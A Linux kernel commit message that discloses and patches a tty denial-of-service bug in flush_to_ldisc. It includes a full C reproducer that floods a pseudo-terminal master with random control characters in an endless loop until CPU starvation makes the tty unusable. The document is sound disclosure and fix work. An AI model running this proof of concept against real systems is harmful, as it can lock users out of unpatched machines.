• J
    tty: prevent DOS in the flush_to_ldisc · e045fec4
    Jiri Olsa 提交于
    There's a small window inside the flush_to_ldisc function,
    where the tty is unlocked and calling ldisc's receive_buf
    function. If in this window new buffer is added to the tty,
    the processing might never leave the flush_to_ldisc function.
    
    This scenario will hog the cpu, causing other tty processing
    starving, and making it impossible to interface the computer
    via tty.
    
    I was able to exploit this via pty interface by sending only
    control characters to the master input, causing the flush_to_ldisc
    to be scheduled, but never actually generate any output.
    
    To reproduce, please run multiple instances of following code.
    
    - SNIP
    #define _XOPEN_SOURCE
    #include <stdlib.h>
    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    
    int main(int argc, char **argv)
    {
            int i, slave, master = getpt();
            char buf[8192];
    
            sprintf(buf, "%s", ptsname(master));
            grantpt(master);
            unlockpt(master);
    
            slave = open(buf, O_RDWR);
            if (slave < 0) {
                    perror("open slave failed");
                    return 1;
            }
    
            for(i = 0; i < sizeof(buf); i++)
                    buf[i] = rand() % 32;
    
            while(1) {
                    write(master, buf, sizeof(buf));
            }
    
            return 0;
    }
    - SNIP
    
    The attached patch (based on -next tree) fixes this by checking on the
    tty buffer tail. Once it's reached, the current work is rescheduled
    and another could run.
    Signed-off-by: NJiri Olsa <jolsa@redhat.com>
    Cc: stable <stable@kernel.org>
    Acked-by: NAlan Cox <alan@lxorguk.ukuu.org.uk>
    Signed-off-by: NGreg Kroah-Hartman <gregkh@suse.de>
    e045fec4
tty_buffer.c 14.1 KB